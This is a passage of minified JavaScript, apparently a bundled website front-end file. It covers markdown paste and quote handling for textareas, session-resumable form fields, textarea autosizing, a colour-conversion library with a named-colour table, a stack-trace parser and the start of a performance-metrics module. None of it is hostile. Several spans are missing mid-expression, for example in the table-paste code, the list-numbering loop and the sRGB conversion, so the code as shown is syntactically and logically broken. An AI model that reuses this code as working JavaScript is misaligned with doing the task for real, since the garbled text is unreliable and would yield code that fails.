y>1?f.value.substring(y-2,y)==="](":!1}i(D,"isWithinLink");function U(f,y){return`[${f}](${y})`}i(U,"linkify");function H(f){return/^https?:\/\//i.test(f)}i(H,"isURL");function B(f){f.addEventListener("dragover",ce),f.addEventListener("drop",G),f.addEventListener("paste",ie)}i(B,"install$1");function re(f){f.removeEventListener("dragover",ce),f.removeEventListener("drop",G),f.removeEventListener("paste",ie)}i(re,"uninstall$1");function G(f){const y=f.dataTransfer;if(!y||le(y))return;const k=L(y);if(!k)return;f.stopPropagation(),f.preventDefault();const C=f.currentTarget;C instanceof HTMLTextAreaElement&&b(C,k)}i(G,"onDrop");function ce(f){const y=f.dataTransfer;y&&(y.dropEffect="copy")}i(ce,"onDragover");function ie(f){const{currentTarget:y}=f;if(e(y)||!f.clipboardData)return;const k=L(f.clipboardData);if(!k)return;f.stopPropagation(),f.preventDefault();const C=f.currentTarget;C instanceof HTMLTextAreaElement&&b(C,k)}i(ie,"onPaste$1");function le(f){return Array.from(f.types).indexOf("Files")>=0}i(le,"hasFile");function ae(f){const y="\xA0";return(f.textContent||"").trim().replace(/\|/g,"\\|").replace(/\n/g," ")||y}i(ae,"columnText");function de(f){return Array.from(f.querySelectorAll("td, th")).map(ae)}i(de,"tableHeaders");function ue(f){const y=Array.from(f.querySelectorAll("tr")),k=y.shift();if(!k)return"";const C=de(k),O=C.map(()=>"--"),q=`${C.join(" | ")} +${O.join(" | ")} +`,Y=y.map(J=>Array.from(J.querySelectorAll("td")).map(ae).join(" | ")).join(` +`);return` +${q}${Y} + +`}i(ue,"tableMarkdown");function L(f){if(Array.from(f.types).indexOf("text/html")===-1)return;const y=f.getData("text/html");if(!//,"").replace(//,` +${q}`)}i(L,"generateText");function j(f){f.addEventListener("paste",K)}i(j,"install");function W(f){f.removeEventListener("paste",K)}i(W,"uninstall");function K(f){const{currentTarget:y}=f;if(e(y))return;const k=f.clipboardData;if(!k||!V(k))return;const C=f.currentTarget;if(!(C instanceof HTMLTextAreaElement))return;const O=k.getData("text/x-gfm");!O||(f.stopPropagation(),f.preventDefault(),b(C,O))}i(K,"onPaste");function V(f){return Array.from(f.types).indexOf("text/x-gfm")>=0}i(V,"hasMarkdown");function oe(f){return o(f,B,w,A,j,n),{unsubscribe:()=>{t(f),re(f),r(f),x(f),R(f),W(f)}}}i(oe,"subscribe")},55498:(N,M,E)=>{"use strict";E.d(M,{I:()=>a,p:()=>u});function b(s){const c=s.parentNode;if(c===null||!(c instanceof HTMLElement))throw new Error;let m=0;c instanceof HTMLOListElement&&c.start!==1&&(m=c.start-1);const d=c.children;for(let p=0;p/g,">")}i(t,"escapeAttribute");const n={INPUT(s){return s instanceof HTMLInputElement&&s.checked?"[x] ":"[ ] "},CODE(s){const c=s.textContent||"";return s.parentNode&&s.parentNode.nodeName==="PRE"?(s.textContent=`\`\`\` +${c.replace(/\n+$/,"")} +\`\`\` + +`,s):c.indexOf("`")>=0?`\`\` ${c} \`\``:`\`${c}\``},P(s){const c=document.createElement("p"),m=s.textContent||"";return c.textContent=m.replace(/<(\/?)(pre|strong|weak|em)>/g,"\\<$1$2\\>"),c},STRONG(s){return`**${s.textContent||""}**`},EM(s){return`_${s.textContent||""}_`},DEL(s){return`~${s.textContent||""}~`},BLOCKQUOTE(s){const c=(s.textContent||"").trim().replace(/^/gm,"> "),m=document.createElement("pre");return m.textContent=`${c} + +`,m},A(s){const c=s.textContent||"",m=s.getAttribute("href");return/^https?:/.test(c)&&c===m?c:m?`[${c}](${m})`:c},IMG(s){const c=s.getAttribute("alt")||"",m=s.getAttribute("src");if(!m)throw new Error;const d=s.hasAttribute("width")?` width="${t(s.getAttribute("width")||"")}"`:"",p=s.hasAttribute("height")?` height="${t(s.getAttribute("height")||"")}"`:"";return d||p?`${t(c)}`:`![${c}](${m})`},LI(s){const c=s.parentNode;if(!c)throw new Error;let m="";o(s)||(c.nodeName==="OL"?e>0&&!c.previousSibling?m=`${b(s)+e+1}\\. `:m=`${b(s)+1}. `:m="* ");const d=m.replace(/\S/g," "),p=(s.textContent||"").trim().replace(/^/gm,d),g=document.createElement("pre");return g.textContent=p.replace(d,m),g},OL(s){const c=document.createElement("li");return c.appendChild(document.createElement("br")),s.append(c),s},H1(s){const c=parseInt(s.nodeName.slice(1));return s.prepend(`${Array(c+1).join("#")} `),s},UL(s){return s}};n.UL=n.OL;for(let s=2;s<=6;++s)n[`H${s}`]=n.H1;function r(s){const c=document.createNodeIterator(s,NodeFilter.SHOW_ELEMENT,{acceptNode(p){return p.nodeName in n&&!_(p)&&(h(p)||v(p))?NodeFilter.FILTER_ACCEPT:NodeFilter.FILTER_SKIP}}),m=[];let d=c.nextNode();for(;d;)d instanceof HTMLElement&&m.push(d),d=c.nextNode();m.reverse();for(const p of m)p.replaceWith(n[p.nodeName](p))}i(r,"insertMarkdownSyntax");function l(s,c){const m=s.startContainer;if(!m||!m.parentNode||!(m.parentNode instanceof HTMLElement))throw new Error("the range must start within an HTMLElement");const d=m.parentNode;let p=s.cloneContents();if(c){const x=p.querySelector(c);x&&(p=document.createDocumentFragment(),p.appendChild(x))}e=0;const g=d.closest("li");if(d.closest("pre")){const x=document.createElement("pre");x.appendChild(p),p=document.createDocumentFragment(),p.appendChild(x)}else if(g&&g.parentNode&&(g.parentNode.nodeName==="OL"&&(e=b(g)),!p.querySelector("li"))){const x=document.createElement("li");if(!g.parentNode)throw new Error;const I=document.createElement(g.parentNode.nodeName);x.appendChild(p),I.appendChild(x),p=document.createDocumentFragment(),p.appendChild(I)}return p}i(l,"extractFragment");class u{constructor(){this.selection=window.getSelection()}closest(c){const m=this.range.startContainer,d=m instanceof Element?m:m.parentElement;return d?d.closest(c):null}get active(){var c;return(((c=this.selection)===null||c===void 0?void 0:c.rangeCount)||0)>0}get range(){var c;return((c=this.selection)===null||c===void 0?void 0:c.rangeCount)?this.selection.getRangeAt(0):new Range}set range(c){var m,d;(m=this.selection)===null||m===void 0||m.removeAllRanges(),(d=this.selection)===null||d===void 0||d.addRange(c)}get selectionText(){var c;return((c=this.selection)===null||c===void 0?void 0:c.toString().trim())||""}get quotedText(){return`> ${this.selectionText.replace(/\n/g,` +> `)} + +`}select(c){this.selection&&(this.selection.removeAllRanges(),this.selection.selectAllChildren(c))}insert(c){c.value?c.value=`${c.value} + +${this.quotedText}`:c.value=this.quotedText,c.dispatchEvent(new CustomEvent("change",{bubbles:!0,cancelable:!1})),c.focus(),c.selectionStart=c.value.length,c.scrollTop=c.scrollHeight}}i(u,"Quote");class a extends u{constructor(c="",m){super();this.scopeSelector=c,this.callback=m}get selectionText(){var c,m;if(!this.selection)return"";const d=l(this.range,(c=this.scopeSelector)!==null&&c!==void 0?c:"");(m=this.callback)===null||m===void 0||m.call(this,d),r(d);const p=document.body;if(!p)return"";const g=document.createElement("div");g.appendChild(d),g.style.cssText="position:absolute;left:-9999px;",p.appendChild(g);let w="";try{const x=document.createRange();x.selectNodeContents(g),this.selection.removeAllRanges(),this.selection.addRange(x),w=this.selection.toString(),this.selection.removeAllRanges(),x.detach()}finally{p.removeChild(g)}return w.trim()}}i(a,"MarkdownQuote")},407:(N,M,E)=>{"use strict";E.d(M,{Xm:()=>h,e6:()=>v,iO:()=>e});let b=null;function _(o){return!!o.id&&o.value!==o.defaultValue&&o.form!==b}i(_,"shouldResumeField");function h(o,t){var n,r;const l=(n=t==null?void 0:t.selector)!==null&&n!==void 0?n:".js-session-resumable",a=`${(r=t==null?void 0:t.keyPrefix)!==null&&r!==void 0?r:"session-resume:"}${o}`,s=[];for(const m of document.querySelectorAll(l))(m instanceof HTMLInputElement||m instanceof HTMLTextAreaElement)&&s.push(m);let c=s.filter(m=>_(m)).map(m=>[m.id,m.value]);if(c.length)try{const m=sessionStorage.getItem(a);if(m!==null){const p=JSON.parse(m).filter(function(g){return!c.some(w=>w[0]===g[0])});c=c.concat(p)}sessionStorage.setItem(a,JSON.stringify(c))}catch{}}i(h,"persistResumableFields");function v(o,t){var n;const l=`${(n=t==null?void 0:t.keyPrefix)!==null&&n!==void 0?n:"session-resume:"}${o}`;let u;try{u=sessionStorage.getItem(l)}catch{}if(!u)return;const a=[],s=[];for(const[c,m]of JSON.parse(u)){const d=new CustomEvent("session:resume",{bubbles:!0,cancelable:!0,detail:{targetId:c,targetValue:m}});if(document.dispatchEvent(d)){const p=document.getElementById(c);p&&(p instanceof HTMLInputElement||p instanceof HTMLTextAreaElement)?p.value===p.defaultValue&&(p.value=m,a.push(p)):s.push([c,m])}}if(s.length===0)try{sessionStorage.removeItem(l)}catch{}else sessionStorage.setItem(l,JSON.stringify(s));setTimeout(function(){for(const c of a)c.dispatchEvent(new CustomEvent("change",{bubbles:!0,cancelable:!0}))},0)}i(v,"restoreResumableFields");function e(o){b=o.target,setTimeout(function(){o.defaultPrevented&&(b=null)},0)}i(e,"setForm")},54430:(N,M,E)=>{"use strict";E.d(M,{Z:()=>_});function b(h){var v=null,e=!1,o=void 0,t=void 0,n=void 0;function r(d){if(o!==d.clientX||t!==d.clientY){var p=h.style.height;n&&n!==p&&(e=!0,h.style.maxHeight="",h.removeEventListener("mousemove",r)),n=p}o=d.clientX,t=d.clientY}i(r,"onUserResize");var l=h.ownerDocument,u=l.documentElement;function a(){for(var d=0,p=h;p!==l.body&&p!==null;)d+=p.offsetTop||0,p=p.offsetParent;var g=d-l.defaultView.pageYOffset,w=u.clientHeight-(g+h.offsetHeight);return{top:g,bottom:w}}i(a,"overflowOffset");function s(){if(!e&&h.value!==v&&!(h.offsetWidth<=0&&h.offsetHeight<=0)){var d=a(),p=d.top,g=d.bottom;if(!(p<0||g<0)){var w=Number(getComputedStyle(h).height.replace(/px/,""))+g;h.style.maxHeight=w-100+"px";var x=h.parentElement;if(x instanceof HTMLElement){var I=x.style.height;x.style.height=getComputedStyle(x).height,h.style.height="auto",h.style.height=h.scrollHeight+"px",x.style.height=I,n=h.style.height}v=h.value}}}i(s,"sizeToFit");function c(){e=!1,h.style.height="",h.style.maxHeight=""}i(c,"onFormReset"),h.addEventListener("mousemove",r),h.addEventListener("input",s),h.addEventListener("change",s);var m=h.form;return m&&m.addEventListener("reset",c),h.value&&s(),{unsubscribe:i(function(){h.removeEventListener("mousemove",r),h.removeEventListener("input",s),h.removeEventListener("change",s),m&&m.removeEventListener("reset",c)},"unsubscribe")}}i(b,"autosize");const _=b},48168:(N,M,E)=>{const b=E(39092),_={};for(const e of Object.keys(b))_[b[e]]=e;const h={rgb:{channels:3,labels:"rgb"},hsl:{channels:3,labels:"hsl"},hsv:{channels:3,labels:"hsv"},hwb:{channels:3,labels:"hwb"},cmyk:{channels:4,labels:"cmyk"},xyz:{channels:3,labels:"xyz"},lab:{channels:3,labels:"lab"},lch:{channels:3,labels:"lch"},hex:{channels:1,labels:["hex"]},keyword:{channels:1,labels:["keyword"]},ansi16:{channels:1,labels:["ansi16"]},ansi256:{channels:1,labels:["ansi256"]},hcg:{channels:3,labels:["h","c","g"]},apple:{channels:3,labels:["r16","g16","b16"]},gray:{channels:1,labels:["gray"]}};N.exports=h;for(const e of Object.keys(h)){if(!("channels"in h[e]))throw new Error("missing channels property: "+e);if(!("labels"in h[e]))throw new Error("missing channel labels property: "+e);if(h[e].labels.length!==h[e].channels)throw new Error("channel and label counts mismatch: "+e);const{channels:o,labels:t}=h[e];delete h[e].channels,delete h[e].labels,Object.defineProperty(h[e],"channels",{value:o}),Object.defineProperty(h[e],"labels",{value:t})}h.rgb.hsl=function(e){const o=e[0]/255,t=e[1]/255,n=e[2]/255,r=Math.min(o,t,n),l=Math.max(o,t,n),u=l-r;let a,s;l===r?a=0:o===l?a=(t-n)/u:t===l?a=2+(n-o)/u:n===l&&(a=4+(o-t)/u),a=Math.min(a*60,360),a<0&&(a+=360);const c=(r+l)/2;return l===r?s=0:c<=.5?s=u/(l+r):s=u/(2-l-r),[a,s*100,c*100]},h.rgb.hsv=function(e){let o,t,n,r,l;const u=e[0]/255,a=e[1]/255,s=e[2]/255,c=Math.max(u,a,s),m=c-Math.min(u,a,s),d=i(function(p){return(c-p)/6/m+1/2},"diffc");return m===0?(r=0,l=0):(l=m/c,o=d(u),t=d(a),n=d(s),u===c?r=n-t:a===c?r=1/3+o-n:s===c&&(r=2/3+t-o),r<0?r+=1:r>1&&(r-=1)),[r*360,l*100,c*100]},h.rgb.hwb=function(e){const o=e[0],t=e[1];let n=e[2];const r=h.rgb.hsl(e)[0],l=1/255*Math.min(o,Math.min(t,n));return n=1-1/255*Math.max(o,Math.max(t,n)),[r,l*100,n*100]},h.rgb.cmyk=function(e){const o=e[0]/255,t=e[1]/255,n=e[2]/255,r=Math.min(1-o,1-t,1-n),l=(1-o-r)/(1-r)||0,u=(1-t-r)/(1-r)||0,a=(1-n-r)/(1-r)||0;return[l*100,u*100,a*100,r*100]};function v(e,o){return(e[0]-o[0])**2+(e[1]-o[1])**2+(e[2]-o[2])**2}i(v,"comparativeDistance"),h.rgb.keyword=function(e){const o=_[e];if(o)return o;let t=1/0,n;for(const r of Object.keys(b)){const l=b[r],u=v(e,l);u.04045?((o+.055)/1.055)**2.4:o/12.92,t=t>.04045?((t+.055)/1.055)**2.4:t/12.92,n=n>.04045?((n+.055)/1.055)**2.4:n/12.92;const r=o*.4124+t*.3576+n*.1805,l=o*.2126+t*.7152+n*.0722,u=o*.0193+t*.1192+n*.9505;return[r*100,l*100,u*100]},h.rgb.lab=function(e){const o=h.rgb.xyz(e);let t=o[0],n=o[1],r=o[2];t/=95.047,n/=100,r/=108.883,t=t>.008856?t**(1/3):7.787*t+16/116,n=n>.008856?n**(1/3):7.787*n+16/116,r=r>.008856?r**(1/3):7.787*r+16/116;const l=116*n-16,u=500*(t-n),a=200*(n-r);return[l,u,a]},h.hsl.rgb=function(e){const o=e[0]/360,t=e[1]/100,n=e[2]/100;let r,l,u;if(t===0)return u=n*255,[u,u,u];n<.5?r=n*(1+t):r=n+t-n*t;const a=2*n-r,s=[0,0,0];for(let c=0;c<3;c++)l=o+1/3*-(c-1),l<0&&l++,l>1&&l--,6*l<1?u=a+(r-a)*6*l:2*l<1?u=r:3*l<2?u=a+(r-a)*(2/3-l)*6:u=a,s[c]=u*255;return s},h.hsl.hsv=function(e){const o=e[0];let t=e[1]/100,n=e[2]/100,r=t;const l=Math.max(n,.01);n*=2,t*=n<=1?n:2-n,r*=l<=1?l:2-l;const u=(n+t)/2,a=n===0?2*r/(l+r):2*t/(n+t);return[o,a*100,u*100]},h.hsv.rgb=function(e){const o=e[0]/60,t=e[1]/100;let n=e[2]/100;const r=Math.floor(o)%6,l=o-Math.floor(o),u=255*n*(1-t),a=255*n*(1-t*l),s=255*n*(1-t*(1-l));switch(n*=255,r){case 0:return[n,s,u];case 1:return[a,n,u];case 2:return[u,n,s];case 3:return[u,a,n];case 4:return[s,u,n];case 5:return[n,u,a]}},h.hsv.hsl=function(e){const o=e[0],t=e[1]/100,n=e[2]/100,r=Math.max(n,.01);let l,u;u=(2-t)*n;const a=(2-t)*r;return l=t*r,l/=a<=1?a:2-a,l=l||0,u/=2,[o,l*100,u*100]},h.hwb.rgb=function(e){const o=e[0]/360;let t=e[1]/100,n=e[2]/100;const r=t+n;let l;r>1&&(t/=r,n/=r);const u=Math.floor(6*o),a=1-n;l=6*o-u,(u&1)!==0&&(l=1-l);const s=t+l*(a-t);let c,m,d;switch(u){default:case 6:case 0:c=a,m=s,d=t;break;case 1:c=s,m=a,d=t;break;case 2:c=t,m=a,d=s;break;case 3:c=t,m=s,d=a;break;case 4:c=s,m=t,d=a;break;case 5:c=a,m=t,d=s;break}return[c*255,m*255,d*255]},h.cmyk.rgb=function(e){const o=e[0]/100,t=e[1]/100,n=e[2]/100,r=e[3]/100,l=1-Math.min(1,o*(1-r)+r),u=1-Math.min(1,t*(1-r)+r),a=1-Math.min(1,n*(1-r)+r);return[l*255,u*255,a*255]},h.xyz.rgb=function(e){const o=e[0]/100,t=e[1]/100,n=e[2]/100;let r,l,u;return r=o*3.2406+t*-1.5372+n*-.4986,l=o*-.9689+t*1.8758+n*.0415,u=o*.0557+t*-.204+n*1.057,r=r>.0031308?1.055*r**(1/2.4)-.055:r*12.92,l=l>.0031308?1.055*l**(1/2.4)-.055:l*12.92,u=u>.0031308?1.055*u**(1/2.4)-.055:u*12.92,r=Math.min(Math.max(0,r),1),l=Math.min(Math.max(0,l),1),u=Math.min(Math.max(0,u),1),[r*255,l*255,u*255]},h.xyz.lab=function(e){let o=e[0],t=e[1],n=e[2];o/=95.047,t/=100,n/=108.883,o=o>.008856?o**(1/3):7.787*o+16/116,t=t>.008856?t**(1/3):7.787*t+16/116,n=n>.008856?n**(1/3):7.787*n+16/116;const r=116*t-16,l=500*(o-t),u=200*(t-n);return[r,l,u]},h.lab.xyz=function(e){const o=e[0],t=e[1],n=e[2];let r,l,u;l=(o+16)/116,r=t/500+l,u=l-n/200;const a=l**3,s=r**3,c=u**3;return l=a>.008856?a:(l-16/116)/7.787,r=s>.008856?s:(r-16/116)/7.787,u=c>.008856?c:(u-16/116)/7.787,r*=95.047,l*=100,u*=108.883,[r,l,u]},h.lab.lch=function(e){const o=e[0],t=e[1],n=e[2];let r;r=Math.atan2(n,t)*360/2/Math.PI,r<0&&(r+=360);const u=Math.sqrt(t*t+n*n);return[o,u,r]},h.lch.lab=function(e){const o=e[0],t=e[1],r=e[2]/360*2*Math.PI,l=t*Math.cos(r),u=t*Math.sin(r);return[o,l,u]},h.rgb.ansi16=function(e,o=null){const[t,n,r]=e;let l=o===null?h.rgb.hsv(e)[2]:o;if(l=Math.round(l/50),l===0)return 30;let u=30+(Math.round(r/255)<<2|Math.round(n/255)<<1|Math.round(t/255));return l===2&&(u+=60),u},h.hsv.ansi16=function(e){return h.rgb.ansi16(h.hsv.rgb(e),e[2])},h.rgb.ansi256=function(e){const o=e[0],t=e[1],n=e[2];return o===t&&t===n?o<8?16:o>248?231:Math.round((o-8)/247*24)+232:16+36*Math.round(o/255*5)+6*Math.round(t/255*5)+Math.round(n/255*5)},h.ansi16.rgb=function(e){let o=e%10;if(o===0||o===7)return e>50&&(o+=3.5),o=o/10.5*255,[o,o,o];const t=(~~(e>50)+1)*.5,n=(o&1)*t*255,r=(o>>1&1)*t*255,l=(o>>2&1)*t*255;return[n,r,l]},h.ansi256.rgb=function(e){if(e>=232){const l=(e-232)*10+8;return[l,l,l]}e-=16;let o;const t=Math.floor(e/36)/5*255,n=Math.floor((o=e%36)/6)/5*255,r=o%6/5*255;return[t,n,r]},h.rgb.hex=function(e){const t=(((Math.round(e[0])&255)<<16)+((Math.round(e[1])&255)<<8)+(Math.round(e[2])&255)).toString(16).toUpperCase();return"000000".substring(t.length)+t},h.hex.rgb=function(e){const o=e.toString(16).match(/[a-f0-9]{6}|[a-f0-9]{3}/i);if(!o)return[0,0,0];let t=o[0];o[0].length===3&&(t=t.split("").map(a=>a+a).join(""));const n=parseInt(t,16),r=n>>16&255,l=n>>8&255,u=n&255;return[r,l,u]},h.rgb.hcg=function(e){const o=e[0]/255,t=e[1]/255,n=e[2]/255,r=Math.max(Math.max(o,t),n),l=Math.min(Math.min(o,t),n),u=r-l;let a,s;return u<1?a=l/(1-u):a=0,u<=0?s=0:r===o?s=(t-n)/u%6:r===t?s=2+(n-o)/u:s=4+(o-t)/u,s/=6,s%=1,[s*360,u*100,a*100]},h.hsl.hcg=function(e){const o=e[1]/100,t=e[2]/100,n=t<.5?2*o*t:2*o*(1-t);let r=0;return n<1&&(r=(t-.5*n)/(1-n)),[e[0],n*100,r*100]},h.hsv.hcg=function(e){const o=e[1]/100,t=e[2]/100,n=o*t;let r=0;return n<1&&(r=(t-n)/(1-n)),[e[0],n*100,r*100]},h.hcg.rgb=function(e){const o=e[0]/360,t=e[1]/100,n=e[2]/100;if(t===0)return[n*255,n*255,n*255];const r=[0,0,0],l=o%1*6,u=l%1,a=1-u;let s=0;switch(Math.floor(l)){case 0:r[0]=1,r[1]=u,r[2]=0;break;case 1:r[0]=a,r[1]=1,r[2]=0;break;case 2:r[0]=0,r[1]=1,r[2]=u;break;case 3:r[0]=0,r[1]=a,r[2]=1;break;case 4:r[0]=u,r[1]=0,r[2]=1;break;default:r[0]=1,r[1]=0,r[2]=a}return s=(1-t)*n,[(t*r[0]+s)*255,(t*r[1]+s)*255,(t*r[2]+s)*255]},h.hcg.hsv=function(e){const o=e[1]/100,t=e[2]/100,n=o+t*(1-o);let r=0;return n>0&&(r=o/n),[e[0],r*100,n*100]},h.hcg.hsl=function(e){const o=e[1]/100,n=e[2]/100*(1-o)+.5*o;let r=0;return n>0&&n<.5?r=o/(2*n):n>=.5&&n<1&&(r=o/(2*(1-n))),[e[0],r*100,n*100]},h.hcg.hwb=function(e){const o=e[1]/100,t=e[2]/100,n=o+t*(1-o);return[e[0],(n-o)*100,(1-n)*100]},h.hwb.hcg=function(e){const o=e[1]/100,t=e[2]/100,n=1-t,r=n-o;let l=0;return r<1&&(l=(n-r)/(1-r)),[e[0],r*100,l*100]},h.apple.rgb=function(e){return[e[0]/65535*255,e[1]/65535*255,e[2]/65535*255]},h.rgb.apple=function(e){return[e[0]/255*65535,e[1]/255*65535,e[2]/255*65535]},h.gray.rgb=function(e){return[e[0]/100*255,e[0]/100*255,e[0]/100*255]},h.gray.hsl=function(e){return[0,0,e[0]]},h.gray.hsv=h.gray.hsl,h.gray.hwb=function(e){return[0,100,e[0]]},h.gray.cmyk=function(e){return[0,0,0,e[0]]},h.gray.lab=function(e){return[e[0],0,0]},h.gray.hex=function(e){const o=Math.round(e[0]/100*255)&255,n=((o<<16)+(o<<8)+o).toString(16).toUpperCase();return"000000".substring(n.length)+n},h.rgb.gray=function(e){return[(e[0]+e[1]+e[2])/3/255*100]}},12085:(N,M,E)=>{const b=E(48168),_=E(4111),h={},v=Object.keys(b);function e(t){const n=i(function(...r){const l=r[0];return l==null?l:(l.length>1&&(r=l),t(r))},"wrappedFn");return"conversion"in t&&(n.conversion=t.conversion),n}i(e,"wrapRaw");function o(t){const n=i(function(...r){const l=r[0];if(l==null)return l;l.length>1&&(r=l);const u=t(r);if(typeof u=="object")for(let a=u.length,s=0;s{h[t]={},Object.defineProperty(h[t],"channels",{value:b[t].channels}),Object.defineProperty(h[t],"labels",{value:b[t].labels});const n=_(t);Object.keys(n).forEach(l=>{const u=n[l];h[t][l]=o(u),h[t][l].raw=e(u)})}),N.exports=h},39092:N=>{"use strict";N.exports={aliceblue:[240,248,255],antiquewhite:[250,235,215],aqua:[0,255,255],aquamarine:[127,255,212],azure:[240,255,255],beige:[245,245,220],bisque:[255,228,196],black:[0,0,0],blanchedalmond:[255,235,205],blue:[0,0,255],blueviolet:[138,43,226],brown:[165,42,42],burlywood:[222,184,135],cadetblue:[95,158,160],chartreuse:[127,255,0],chocolate:[210,105,30],coral:[255,127,80],cornflowerblue:[100,149,237],cornsilk:[255,248,220],crimson:[220,20,60],cyan:[0,255,255],darkblue:[0,0,139],darkcyan:[0,139,139],darkgoldenrod:[184,134,11],darkgray:[169,169,169],darkgreen:[0,100,0],darkgrey:[169,169,169],darkkhaki:[189,183,107],darkmagenta:[139,0,139],darkolivegreen:[85,107,47],darkorange:[255,140,0],darkorchid:[153,50,204],darkred:[139,0,0],darksalmon:[233,150,122],darkseagreen:[143,188,143],darkslateblue:[72,61,139],darkslategray:[47,79,79],darkslategrey:[47,79,79],darkturquoise:[0,206,209],darkviolet:[148,0,211],deeppink:[255,20,147],deepskyblue:[0,191,255],dimgray:[105,105,105],dimgrey:[105,105,105],dodgerblue:[30,144,255],firebrick:[178,34,34],floralwhite:[255,250,240],forestgreen:[34,139,34],fuchsia:[255,0,255],gainsboro:[220,220,220],ghostwhite:[248,248,255],gold:[255,215,0],goldenrod:[218,165,32],gray:[128,128,128],green:[0,128,0],greenyellow:[173,255,47],grey:[128,128,128],honeydew:[240,255,240],hotpink:[255,105,180],indianred:[205,92,92],indigo:[75,0,130],ivory:[255,255,240],khaki:[240,230,140],lavender:[230,230,250],lavenderblush:[255,240,245],lawngreen:[124,252,0],lemonchiffon:[255,250,205],lightblue:[173,216,230],lightcoral:[240,128,128],lightcyan:[224,255,255],lightgoldenrodyellow:[250,250,210],lightgray:[211,211,211],lightgreen:[144,238,144],lightgrey:[211,211,211],lightpink:[255,182,193],lightsalmon:[255,160,122],lightseagreen:[32,178,170],lightskyblue:[135,206,250],lightslategray:[119,136,153],lightslategrey:[119,136,153],lightsteelblue:[176,196,222],lightyellow:[255,255,224],lime:[0,255,0],limegreen:[50,205,50],linen:[250,240,230],magenta:[255,0,255],maroon:[128,0,0],mediumaquamarine:[102,205,170],mediumblue:[0,0,205],mediumorchid:[186,85,211],mediumpurple:[147,112,219],mediumseagreen:[60,179,113],mediumslateblue:[123,104,238],mediumspringgreen:[0,250,154],mediumturquoise:[72,209,204],mediumvioletred:[199,21,133],midnightblue:[25,25,112],mintcream:[245,255,250],mistyrose:[255,228,225],moccasin:[255,228,181],navajowhite:[255,222,173],navy:[0,0,128],oldlace:[253,245,230],olive:[128,128,0],olivedrab:[107,142,35],orange:[255,165,0],orangered:[255,69,0],orchid:[218,112,214],palegoldenrod:[238,232,170],palegreen:[152,251,152],paleturquoise:[175,238,238],palevioletred:[219,112,147],papayawhip:[255,239,213],peachpuff:[255,218,185],peru:[205,133,63],pink:[255,192,203],plum:[221,160,221],powderblue:[176,224,230],purple:[128,0,128],rebeccapurple:[102,51,153],red:[255,0,0],rosybrown:[188,143,143],royalblue:[65,105,225],saddlebrown:[139,69,19],salmon:[250,128,114],sandybrown:[244,164,96],seagreen:[46,139,87],seashell:[255,245,238],sienna:[160,82,45],silver:[192,192,192],skyblue:[135,206,235],slateblue:[106,90,205],slategray:[112,128,144],slategrey:[112,128,144],snow:[255,250,250],springgreen:[0,255,127],steelblue:[70,130,180],tan:[210,180,140],teal:[0,128,128],thistle:[216,191,216],tomato:[255,99,71],turquoise:[64,224,208],violet:[238,130,238],wheat:[245,222,179],white:[255,255,255],whitesmoke:[245,245,245],yellow:[255,255,0],yellowgreen:[154,205,50]}},4111:(N,M,E)=>{const b=E(48168);function _(){const o={},t=Object.keys(b);for(let n=t.length,r=0;r{"use strict";E.d(M,{_8:()=>b,uQ:()=>_});function b(e,o){return _(h(e),o)}i(b,"preserveAnchorNodePosition");function _(e,o){var t=e;if(!t)return Promise.resolve(o());var n=t.ownerDocument.documentElement;function r(a){for(var s=[];a;){var c=a.getBoundingClientRect(),m=c.top,d=c.left;s.push({element:a,top:m,left:d}),a=a.parentElement}return s}i(r,"computeAncestorBoundingRects");function l(a){for(var s=0;s{"use strict";E.d(M,{Q:()=>_});var b="";function _(m){var d=m.split(` +`);return d.reduce(function(p,g){var w=e(g)||t(g)||l(g)||c(g)||a(g);return w&&p.push(w),p},[])}i(_,"parse");var h=/^\s*at (.*?) ?\(((?:file|https?|blob|chrome-extension|native|eval|webpack||\/).*?)(?::(\d+))?(?::(\d+))?\)?\s*$/i,v=/\((\S*)(?::(\d+))(?::(\d+))\)/;function e(m){var d=h.exec(m);if(!d)return null;var p=d[2]&&d[2].indexOf("native")===0,g=d[2]&&d[2].indexOf("eval")===0,w=v.exec(d[2]);return g&&w!=null&&(d[2]=w[1],d[3]=w[2],d[4]=w[3]),{file:p?null:d[2],methodName:d[1]||b,arguments:p?[d[2]]:[],lineNumber:d[3]?+d[3]:null,column:d[4]?+d[4]:null}}i(e,"parseChrome");var o=/^\s*at (?:((?:\[object object\])?.+) )?\(?((?:file|ms-appx|https?|webpack|blob):.*?):(\d+)(?::(\d+))?\)?\s*$/i;function t(m){var d=o.exec(m);return d?{file:d[2],methodName:d[1]||b,arguments:[],lineNumber:+d[3],column:d[4]?+d[4]:null}:null}i(t,"parseWinjs");var n=/^\s*(.*?)(?:\((.*?)\))?(?:^|@)((?:file|https?|blob|chrome|webpack|resource|\[native).*?|[^@]*bundle)(?::(\d+))?(?::(\d+))?\s*$/i,r=/(\S+) line (\d+)(?: > eval line \d+)* > eval/i;function l(m){var d=n.exec(m);if(!d)return null;var p=d[3]&&d[3].indexOf(" > eval")>-1,g=r.exec(d[3]);return p&&g!=null&&(d[3]=g[1],d[4]=g[2],d[5]=null),{file:d[3],methodName:d[1]||b,arguments:d[2]?d[2].split(","):[],lineNumber:d[4]?+d[4]:null,column:d[5]?+d[5]:null}}i(l,"parseGecko");var u=/^\s*(?:([^@]*)(?:\((.*?)\))?@)?(\S.*?):(\d+)(?::(\d+))?\s*$/i;function a(m){var d=u.exec(m);return d?{file:d[3],methodName:d[1]||b,arguments:[],lineNumber:+d[4],column:d[5]?+d[5]:null}:null}i(a,"parseJSC");var s=/^\s*at (?:((?:\[object object\])?[^\\/]+(?: \[as \S+\])?) )?\(?(.*?):(\d+)(?::(\d+))?\)?\s*$/i;function c(m){var d=s.exec(m);return d?{file:d[2],methodName:d[1]||b,arguments:[],lineNumber:+d[3],column:d[4]?+d[4]:null}:null}i(c,"parseNode")},82131:(N,M,E)=>{"use strict";E.d(M,{CA:()=>ne,Tb:()=>te,Tx:()=>X,Y:()=>c,kz:()=>p});var b,_,h,v,e=i(function(P,T){return{name:P,value:T===void 0?-1:T,delta:0,entries:[],id:"v2-".concat(Date.now(),"-").concat(Math.floor(8999999999999*Math.random())+1e12)}},"r"),o=i(function(P,T){try{if(PerformanceObserver.supportedEntryTypes.includes(P)){if(P==="first-input"&&!("PerformanceEventTiming"in self))return;var A=new PerformanceObserver(function(R){return R.getEntries().map(T)});return A.observe({type:P,buffered:!0}),A}}catch{}},"a"),t=i(function(P,T){var A=i(function 